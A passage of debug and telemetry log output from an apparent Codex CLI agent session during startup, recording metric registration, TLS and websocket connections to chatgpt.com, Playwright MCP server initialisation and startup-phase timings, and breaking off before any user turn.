instrument_name=\"codex.mcp.tools.cache_publish.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:15.188Z] [INFO] 2026-07-12T04:02:15.185633Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.mcp.tools.list.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:15.188Z] [INFO] 2026-07-12T04:02:15.185688Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.apps.refresh.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:15.188Z] [INFO] \n[2026-07-12T04:02:16.138Z] [INFO] 2026-07-12T04:02:16.137238Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:16.138Z] [INFO] \n[2026-07-12T04:02:16.199Z] [INFO] 2026-07-12T04:02:16.197261Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:16.199Z] [INFO] \n[2026-07-12T04:02:16.245Z] [INFO] 2026-07-12T04:02:16.243741Z  INFO shell_snapshot{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: codex_core::shell_snapshot: Shell snapshot successfully created: /home/box/.codex/shell_snapshots/019f547d-6d2b-7162-ae64-b2b122b89c77.tmp-1783828933969006885\n[2026-07-12T04:02:16.245Z] [INFO] \n[2026-07-12T04:02:16.255Z] [INFO] 2026-07-12T04:02:16.253070Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:16.255Z] [INFO] \n[2026-07-12T04:02:16.275Z] [INFO] 2026-07-12T04:02:16.274882Z DEBUG shell_snapshot{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.shell_snapshot.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:16.275Z] [INFO] 2026-07-12T04:02:16.275029Z DEBUG shell_snapshot{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.shell_snapshot\" cardinality_limit=2000\n[2026-07-12T04:02:16.275Z] [INFO] \n[2026-07-12T04:02:16.286Z] [INFO] 2026-07-12T04:02:16.285473Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:16.286Z] [INFO] \n[2026-07-12T04:02:16.287Z] [INFO] 2026-07-12T04:02:16.286734Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:16.287Z] [INFO] \n[2026-07-12T04:02:16.294Z] [INFO] 2026-07-12T04:02:16.292584Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:16.294Z] [INFO] \n[2026-07-12T04:02:17.319Z] [INFO] 2026-07-12T04:02:17.315764Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:17.319Z] [INFO] 2026-07-12T04:02:17.315832Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:17.319Z] [INFO] \n[2026-07-12T04:02:17.715Z] [INFO] 2026-07-12T04:02:17.701135Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:17.715Z] [INFO] \n[2026-07-12T04:02:17.797Z] [INFO] 2026-07-12T04:02:17.796935Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:17.797Z] [INFO] \n[2026-07-12T04:02:17.818Z] [INFO] 2026-07-12T04:02:17.818005Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:17.818Z] [INFO] \n[2026-07-12T04:02:17.822Z] [INFO] 2026-07-12T04:02:17.822185Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:17.822Z] [INFO] \n[2026-07-12T04:02:17.843Z] [INFO] 2026-07-12T04:02:17.828378Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:17.843Z] [INFO] \n[2026-07-12T04:02:18.025Z] [INFO] 2026-07-12T04:02:18.005176Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: Service initialized as client peer_info=Some(InitializeResult { protocol_version: ProtocolVersion(\"2025-06-18\"), capabilities: ServerCapabilities { experimental: None, extensions: None, logging: None, completions: None, prompts: None, resources: None, tools: Some(ToolsCapability { list_changed: None }), tasks: None }, server_info: Implementation { name: \"Playwright\", title: None, version: \"1.62.0-alpha-1783623505000\", description: None, icons: None, website_url: None }, instructions: None })\n[2026-07-12T04:02:18.025Z] [INFO] \n[2026-07-12T04:02:18.134Z] [INFO] 2026-07-12T04:02:18.071091Z  INFO codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_build_tools\" duration_ms=3783 event.timestamp=2026-07-12T04:02:18.071Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.134Z] [INFO] 2026-07-12T04:02:18.071139Z  INFO codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_build_tools\" duration_ms=3783 event.timestamp=2026-07-12T04:02:18.071Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.134Z] [INFO] 2026-07-12T04:02:18.071278Z  INFO codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_build_prompt\" duration_ms=0 event.timestamp=2026-07-12T04:02:18.071Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.134Z] [INFO] 2026-07-12T04:02:18.071293Z  INFO codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_build_prompt\" duration_ms=0 event.timestamp=2026-07-12T04:02:18.071Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.134Z] [INFO] \n[2026-07-12T04:02:18.324Z] [INFO] 2026-07-12T04:02:18.322496Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: codex_api::endpoint::responses_websocket: connecting to websocket: wss://chatgpt.com/backend-api/codex/responses\n[2026-07-12T04:02:18.324Z] [INFO] \n[2026-07-12T04:02:18.371Z] [INFO] 2026-07-12T04:02:18.366109Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::webpki::anchors: add_parsable_certificates processed 121 valid and 0 invalid certs\n[2026-07-12T04:02:18.371Z] [INFO] \n[2026-07-12T04:02:18.395Z] [INFO] 2026-07-12T04:02:18.393601Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::hs: No cached session for DnsName(\"chatgpt.com\")\n[2026-07-12T04:02:18.395Z] [INFO] 2026-07-12T04:02:18.393686Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::hs: Not resuming any session\n[2026-07-12T04:02:18.395Z] [INFO] \n[2026-07-12T04:02:18.403Z] [INFO] 2026-07-12T04:02:18.399927Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::hs: Using ciphersuite TLS13_AES_256_GCM_SHA384\n[2026-07-12T04:02:18.403Z] [INFO] 2026-07-12T04:02:18.400088Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::tls13: Not resuming\n[2026-07-12T04:02:18.403Z] [INFO] 2026-07-12T04:02:18.400440Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::tls13: TLS1.3 encrypted extensions: ServerExtensions { server_name_ack: (), unknown_extensions: {}, .. }\n[2026-07-12T04:02:18.403Z] [INFO] 2026-07-12T04:02:18.400474Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::hs: ALPN protocol is None\n[2026-07-12T04:02:18.403Z] [INFO] \n[2026-07-12T04:02:18.605Z] [INFO] 2026-07-12T04:02:18.602985Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: tungstenite::handshake::client: Client handshake done.\n[2026-07-12T04:02:18.605Z] [INFO] 2026-07-12T04:02:18.603110Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: codex_api::endpoint::responses_websocket: successfully connected to websocket: wss://chatgpt.com/backend-api/codex/responses, headers: {\"date\": \"Sun, 12 Jul 2026 04:02:18 GMT\", \"connection\": \"upgrade\", \"upgrade\": \"websocket\", \"sec-websocket-accept\": \"xtnsYwVLkOH7fwvjGb5Mfv8/GC0=\", \"sec-websocket-extensions\": \"permessage-deflate\", \"x-models-etag\": \"W/\\\"db2a6dc50b1d003969cdc236274e488a\\\"\", \"x-openai-proxy-wasm\": \"v0.1\", \"cf-cache-status\": \"DYNAMIC\", \"set-cookie\": \"__cf_bm=j8ocEX6iG2XGINQ2tDfV7qzlX4YOmctLnvk0ImfpHk8-1783828938-1.0.1.1-ec_bomn36cjwTsvZq10u.6bu150rweBaQlNOOgE7wekYlJ8s8wX9jSkI91KAEYbkDDmUffc4lZAhE096Ru6gbe9eYm6lngBoI_R8qNqP8hU; path=/; expires=Sun, 12-Jul-26 04:32:18 GMT; domain=.chatgpt.com; HttpOnly; Secure; SameSite=None\", \"report-to\": \"{\\\"endpoints\\\":[{\\\"url\\\":\\\"https:\\/\\/a.nel.cloudflare.com\\/report\\/v4?s=PpWadeTxXzofJ6iPRbf16Tb6vlfhfbKpRYUmJNSIWLZkBqn6W0KPlULXymPwHh5LyMNrmeOD155ErJFsiO0hJjzA82vkfiz8u58OcNPXm9wldUATp%2B2u5qUEERlE\\\"}],\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800}\", \"nel\": \"{\\\"success_fraction\\\":0.01,\\\"report_to\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800}\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"server\": \"cloudflare\", \"cf-ray\": \"a19d26d12c32d39a-FRA\"}\n[2026-07-12T04:02:18.605Z] [INFO] 2026-07-12T04:02:18.603213Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}: codex_otel.log_only: event.name=\"codex.websocket_connect\" duration_ms=531 success=\"true\" auth.header_attached=true auth.header_name=\"authorization\" auth.retry_after_unauthorized=false endpoint=\"/responses\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=false event.timestamp=2026-07-12T04:02:18.603Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.605Z] [INFO] 2026-07-12T04:02:18.603236Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}: codex_otel.trace_safe: event.name=\"codex.websocket_connect\" duration_ms=531 success=\"true\" auth.header_attached=true auth.header_name=\"authorization\" auth.retry_after_unauthorized=false endpoint=\"/responses\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=false event.timestamp=2026-07-12T04:02:18.603Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.605Z] [INFO] 2026-07-12T04:02:18.603248Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"false\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:18.605Z] [INFO] \n[2026-07-12T04:02:18.622Z] [INFO] 2026-07-12T04:02:18.612861Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.websocket.request\" cardinality_limit=2000\n[2026-07-12T04:02:18.622Z] [INFO] 2026-07-12T04:02:18.612973Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.websocket.request.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:18.622Z] [INFO] 2026-07-12T04:02:18.613016Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=8 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=false event.timestamp=2026-07-12T04:02:18.613Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.622Z] [INFO] 2026-07-12T04:02:18.613037Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=8 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=false event.timestamp=2026-07-12T04:02:18.613Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.622Z] [INFO] 2026-07-12T04:02:18.613051Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"false\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:18.622Z] [INFO] \n[2026-07-12T04:02:18.699Z] [INFO] 2026-07-12T04:02:18.694255Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.websocket.event\" cardinality_limit=2000\n[2026-07-12T04:02:18.699Z] [INFO] \n[2026-07-12T04:02:18.705Z] [INFO] 2026-07-12T04:02:18.696940Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.websocket.event.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:18.705Z] [INFO] \n[2026-07-12T04:02:18.807Z] [INFO] 2026-07-12T04:02:18.805945Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311cab14c8191a161a104306e96bf\"\n[2026-07-12T04:02:18.807Z] [INFO] 2026-07-12T04:02:18.806200Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=10463 output_token_count=0 cached_token_count=0 reasoning_token_count=0 tool_token_count=10463 event.timestamp=2026-07-12T04:02:18.806Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.807Z] [INFO] \n[2026-07-12T04:02:18.811Z] [INFO] 2026-07-12T04:02:18.807659Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=10463 output_token_count=0 cached_token_count=0 reasoning_token_count=0 tool_token_count=10463 event.timestamp=2026-07-12T04:02:18.807Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.811Z] [INFO] 2026-07-12T04:02:18.807829Z  INFO codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_websocket_warmup\" duration_ms=736 event.timestamp=2026-07-12T04:02:18.807Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.811Z] [INFO] 2026-07-12T04:02:18.807857Z  INFO codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_websocket_warmup\" duration_ms=736 event.timestamp=2026-07-12T04:02:18.807Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.811Z] [INFO] \n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818001Z  INFO codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_total\" startup.status=\"ready\" duration_ms=4607 event.timestamp=2026-07-12T04:02:18.817Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818044Z  INFO codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_total\" startup.status=\"ready\" duration_ms=4607 event.timestamp=2026-07-12T04:02:18.818Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818101Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.startup_prewarm.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818260Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_resolve\" startup.status=\"ready\" duration_ms=3963 event.timestamp=2026-07-12T04:02:18.818Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818289Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_resolve\" startup.status=\"ready\" duration_ms=3963 event.timestamp=2026-07-12T04:02:18.818Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818326Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.startup_prewarm.age_at_first_turn_ms\" cardinality_limit=2000\n[2026-07-12T04:02:18.820Z] [INFO] \n[2026-07-12T04:02:18.829Z] [INFO] 2026-07-12T04:02:18.821781Z DEBUG 